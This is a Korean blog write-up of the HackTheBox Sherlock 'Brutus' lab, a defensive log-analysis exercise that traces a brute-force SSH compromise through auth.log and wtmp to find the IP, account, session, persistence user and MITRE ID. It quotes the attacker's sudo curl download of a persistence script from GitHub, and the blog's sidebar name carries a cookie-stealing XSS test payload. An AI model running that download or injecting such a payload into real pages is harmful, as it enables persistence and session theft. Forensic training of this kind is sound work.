[HackTheBox] Sherlock Brutus 리눅스 로그파일 분석 Writeup

2025. 3. 19. 15:20·Writeup
목차
  1. 1. Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack?
  2. 2. The bruteforce attempts were successful and attacker gained access to an account on the server. What is the username of the account?
  3. 3. Identify the timestamp when the attacker logged in manually to the server to carry out their objectives. The login time will be different than the authentication time, and can be found in the wtmp artifact.
  4. 4. SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2?
  5. 5. The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?
  6. 6. What is the MITRE ATT&CK sub-technique ID used for persistence by creating a new account?
  7. 7. What time did the attacker's first SSH session end according to auth.log?
  8. 8. The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?

 

Brutus

 

이번 랩은 리눅스 로그 분석, DFIR에 대해 다뤄볼 예정이고 블루팀 트랙의 첫 번째 머신이다

 

Intro to Blue Team 트랙은 Defensive 해커들에게 특화된 머신들을 모아놓은 로드맵임

워게임이나 챌린지 대부분이 offensive여서 블루팀인 나에겐 너무 소중하다..

 


 

auth.log 로그파일 필드

 

  • 날짜, 시간
  • Hostname
  • Service
  • PID
  • User
  • Authentication Status
  • IP 주소, 호스트네임

1. Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack?

 

공격자가 브루트 포스 공격에 사용한 Ip 주소를 찾는데 'Failed password'가 연속해서 나타나는 걸 봐서는

root이라는 유저네임에 패스워드를 찾는 브루트포싱인듯

 

: 65.2.161.68

 

 

2. The bruteforce attempts were successful and attacker gained access to an account on the server. What is the username of the account?

 

브루트 포스 성공→로그인/연결성공→연결해제 Disconnect 순서일 거라고 예상함

연결해제한 계정 정보가 root 이므로 

 

: root

 

+ 브루트포스 공격에는 Hydra/Medusa/Brutus 툴이 있다

 

 

3. Identify the timestamp when the attacker logged in manually to the server to carry out their objectives. The login time will be different than the authentication time, and can be found in the wtmp artifact.

 

wtmp 아티팩트에서 찾아야 한다

utmpdump wtmp

 

utmpdump: wtmp파일을 읽는 데 사용되는 툴, wtmp/btmp/utmp 같은 바이너리 파일을 읽고 디코딩하는데 사용할 수 있다

바이너리 파일들은 표준 텍스트 에디터나 cat 명령어로는 못 읽음

 

 

wtmp: 로그파일의 종류 중 하나이며, 로그인/로그아웃/재부팅 기록이 저장되어 있다. 

/var/log/wtmp 경로에 위치함

https://linuxhandbook.com/utmp-wtmp-btmp/

 

What are utmp, wtmp, and btmp Files in Linux?

The utmp, wtmp and btmp files has nothing to do with time. They store records of login related activities. Learn more about them.

linuxhandbook.com

 

 

: 2024-03-06 06:32:45

 

 

4. SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2?

 

2번 질문에서 찾은 사용자명은 root

root이 부여받은 세션의 번호를 찾기 위해 grep "session" 검색

 

new session 37 of user root

 

: 37

 

 

 

5. The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?

 

공격자가 서버에 새로운 유저를 추가했고 그 유저 이름을 찾아야 된다

groupadd, useradd 모두 공통적으로 add가 있으니

cat auth.log | grep "add"

 cyberjunkie라는 그룹과 유저를 추가했다!

 

: cyberjunkie

 

 

6. What is the MITRE ATT&CK sub-technique ID used for persistence by creating a new account?

 

새로운 계정을 생성한 persistence 지속적 공격의 MITRE ATT&CK 아이디를 찾아보자

질문 그대로 검색하면 다른 롸업에 답이 나올까 봐 주요 키워드만 넣어서 검색함 ^^

 

계정 생성하는 테크닉의 아이디는 T1136인 것 같다

이제 sub ID를 찾자

 

https://attack.mitre.org/techniques/T1136/

 

Create Account, Technique T1136 - Enterprise | MITRE ATT&CK®

 

attack.mitre.org

 

 

새로운 로컬 계정을 생성해서 피해자의 시스템에 접근을 유지한다

위의 질문과 거의 일치한다

 

: T1136.001

 

 

7. What time did the attacker's first SSH session end according to auth.log?

 

4번 문제에서 찾은 세션 번호 37번을 활용해서 필터링하자

37번 세션의 로그아웃과 삭제 모두 06:37:24 타임라인

 

 

: 06:37:24

 

 

8. The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?

 

다운로드할 때 http 메서드 GET을 사용하니까 grep "http"을 사용했는데

바로 Command와 https url까지 발견했다

 

: /usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh 

 

 

 

 

분명 very easy라고 적혀있는데 고수들이 즐비한 hackthebox여서 그런지 easy 정도인 느낌이다.. 

'Writeup' 카테고리의 다른 글

[Tryhackme] Classic Passwd 리버싱 챌린지 Writeup  (1) 2025.03.22
[Hackthebox] Flag Command - Cyber Apocalypse 2024 CTF Writeup  (0) 2025.03.19
[Hackthebox] SpookyPass Writeup  (0) 2025.03.18
[Tryhackme] Juicy Details :: 로그파일 분석 Writeup  (0) 2025.03.17
[Tryhackme] 리버싱 Reversing ELF Writeup  (0) 2025.03.13
  1. 1. Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack?
  2. 2. The bruteforce attempts were successful and attacker gained access to an account on the server. What is the username of the account?
  3. 3. Identify the timestamp when the attacker logged in manually to the server to carry out their objectives. The login time will be different than the authentication time, and can be found in the wtmp artifact.
  4. 4. SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2?
  5. 5. The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?
  6. 6. What is the MITRE ATT&CK sub-technique ID used for persistence by creating a new account?
  7. 7. What time did the attacker's first SSH session end according to auth.log?
  8. 8. The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?
'Writeup' 카테고리의 다른 글
  • [Tryhackme] Classic Passwd 리버싱 챌린지 Writeup
  • [Hackthebox] Flag Command - Cyber Apocalypse 2024 CTF Writeup
  • [Hackthebox] SpookyPass Writeup
  • [Tryhackme] Juicy Details :: 로그파일 분석 Writeup
이둥둥
이둥둥
"><script>prompt(document.cookie)</script>
시골쥐 해커"><script>prompt(document.cookie)</script>
  • 이둥둥
    시골쥐 해커
    이둥둥
  • 전체
    오늘
    어제
    • 분류 전체보기
      • 방통대
      • 리버싱
      • 웹해킹
      • 악성코드 분석
      • Defensive
      • 네트워크
      • 포렌식
      • Writeup
      • 사이버보안
      • 정보처리기사
      • Troubleshooting
      • 취준
  • 블로그 메뉴

    • 홈
    • 사이버보안
    • 방통대
    • 독후감
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    사이버보안
    burpsuite
    독후감
    웹해킹
    악성코드분석
    hackthebox
    정보보안
    CTF
    리버싱
    tryhackme
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
이둥둥
[HackTheBox] Sherlock Brutus 리눅스 로그파일 분석 Writeup

개인정보

  • 티스토리 홈
  • 포럼
  • 로그인
상단으로

티스토리툴바

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.